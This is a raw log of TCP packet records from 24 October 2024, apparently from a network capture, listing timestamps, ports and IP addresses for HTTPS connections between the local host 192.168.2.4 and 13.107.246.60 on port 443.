Oct 24, 2024 08:51:29.914537907 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.914731026 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.914742947 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.921888113 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.921911955 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.922017097 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.922287941 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.922302008 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.928029060 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.928266048 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.928344011 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.928391933 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.928416967 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.928440094 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.928452969 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.928849936 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.928937912 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.929007053 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.929060936 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.929097891 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.929126024 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.929140091 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.930540085 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.930650949 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.930716038 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.930794954 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.930807114 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.930835009 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.930846930 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.931643963 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.931683064 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.931756973 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.931958914 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.931971073 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.934932947 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.934967995 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.935049057 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.937469006 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.937479019 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.938121080 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.938208103 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.938319921 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.938546896 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.938575983 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.659426928 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.660028934 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.660320044 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.660347939 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.660525084 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.660543919 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.660849094 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.660856009 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.661407948 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.661415100 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.668288946 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.671756983 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.672868013 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.672887087 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.673887014 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.673891068 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.674143076 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.674160004 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.674182892 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.674673080 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.674679041 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.674768925 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.674792051 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.675225019 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.675230980 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.790682077 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.790852070 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.790956020 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.791111946 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.791125059 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.791138887 CEST	49990	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.791145086 CEST	443	49990	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.795531034 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.795557976 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.795603037 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.795644045 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.795711994 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.798729897 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.798743963 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.800437927 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.800476074 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.800579071 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.800753117 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.800762892 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.801841021 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.801901102 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.801963091 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.802197933 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.802206993 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.802220106 CEST	49992	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.802223921 CEST	443	49992	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.802417040 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.802448034 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.802530050 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.802654028 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.802665949 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.803754091 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.803778887 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.803817034 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.803869963 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.803992987 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.803999901 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.804018974 CEST	49991	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.804023981 CEST	443	49991	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.804897070 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.805066109 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.805133104 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.805213928 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.805222034 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.805239916 CEST	49993	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.805244923 CEST	443	49993	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.806598902 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.806638956 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.806725025 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.806893110 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.806906939 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.812808037 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.812817097 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.812890053 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.813007116 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.813029051 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.813090086 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.813237906 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.813247919 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:30.813565969 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:30.813575029 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.535239935 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.545731068 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.546747923 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.553164959 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.559233904 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.577423096 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.577445984 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.577852011 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.577857018 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.578161001 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.578172922 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.578562975 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.578567028 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.578783035 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.578809977 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.579132080 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.579138041 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.579305887 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.579343081 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.579652071 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.579658985 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.579857111 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.579874992 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.580185890 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.580192089 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.703372955 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.703408003 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.703473091 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.703654051 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.703654051 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.703927994 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.703943968 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.703959942 CEST	49998	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.703967094 CEST	443	49998	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.704483032 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.704572916 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.704622030 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.704709053 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.704714060 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.704729080 CEST	49996	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.704732895 CEST	443	49996	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707422972 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707457066 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707495928 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707530975 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.707568884 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.707705975 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.707722902 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707739115 CEST	49995	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.707746029 CEST	443	49995	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707771063 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707873106 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.707911968 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.707943916 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.707979918 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.708024979 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.708040953 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.708043098 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.708089113 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.708163023 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.708175898 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.708197117 CEST	49994	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.708200932 CEST	443	49994	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.708340883 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.708354950 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.708699942 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.708709955 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.710414886 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.710506916 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.710562944 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.710753918 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.710764885 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.710777998 CEST	49997	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.710783958 CEST	443	49997	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.710956097 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.710975885 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.711003065 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.711015940 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.711033106 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.711064100 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.711168051 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.711177111 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.711236000 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.711245060 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.713223934 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.713232994 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:31.713330030 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.713462114 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:31.713469982 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.439125061 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.440009117 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.440058947 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.440454006 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.440460920 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.453429937 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.453725100 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.458921909 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.459770918 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.459789991 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.460386992 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.460391998 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.460776091 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.460845947 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.461158037 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.461174011 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.461353064 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.461384058 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.461693048 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.461704016 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.569399118 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.569438934 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.569499016 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.569621086 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.569876909 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.569963932 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.569963932 CEST	50000	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.570015907 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.570048094 CEST	443	50000	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.573560953 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.573602915 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.573700905 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.573894024 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.573904991 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.590953112 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.591027021 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.591141939 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.592792034 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.593312979 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.593374968 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.593688011 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.593760014 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.593813896 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.593846083 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.593882084 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.593935013 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.596776009 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.596813917 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.596839905 CEST	50001	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.596857071 CEST	443	50001	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.597026110 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.597042084 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.597064018 CEST	50003	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.597074032 CEST	443	50003	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.598680973 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.598704100 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.598746061 CEST	49999	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.598752975 CEST	443	49999	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.603179932 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.603212118 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.603280067 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.603882074 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.603907108 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.603970051 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.604621887 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.604634047 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.604685068 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.608800888 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.608829021 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.609574080 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.609585047 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.609744072 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.609762907 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.617121935 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.617595911 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.617685080 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.618067980 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.618083000 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.749933004 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.750097036 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.750219107 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.751559019 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.751578093 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.751609087 CEST	50002	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.751616001 CEST	443	50002	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.755099058 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.755151033 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:32.755271912 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.755429983 CEST	50008	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:32.755441904 CEST	443	50008	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.308604002 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.310846090 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.310861111 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.311333895 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.311338902 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.337515116 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.338263035 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.338284969 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.338885069 CEST	50005	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.338903904 CEST	443	50005	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.346154928 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.346276045 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.346836090 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.346836090 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.346848011 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.346856117 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.347341061 CEST	50006	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.347345114 CEST	443	50006	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.347486019 CEST	50007	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.347490072 CEST	443	50007	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.446197987 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.446296930 CEST	443	50004	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:33.446383953 CEST	50004	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:33.446649075 CEST	50004	443	192.168.2.4	13.107.246.60
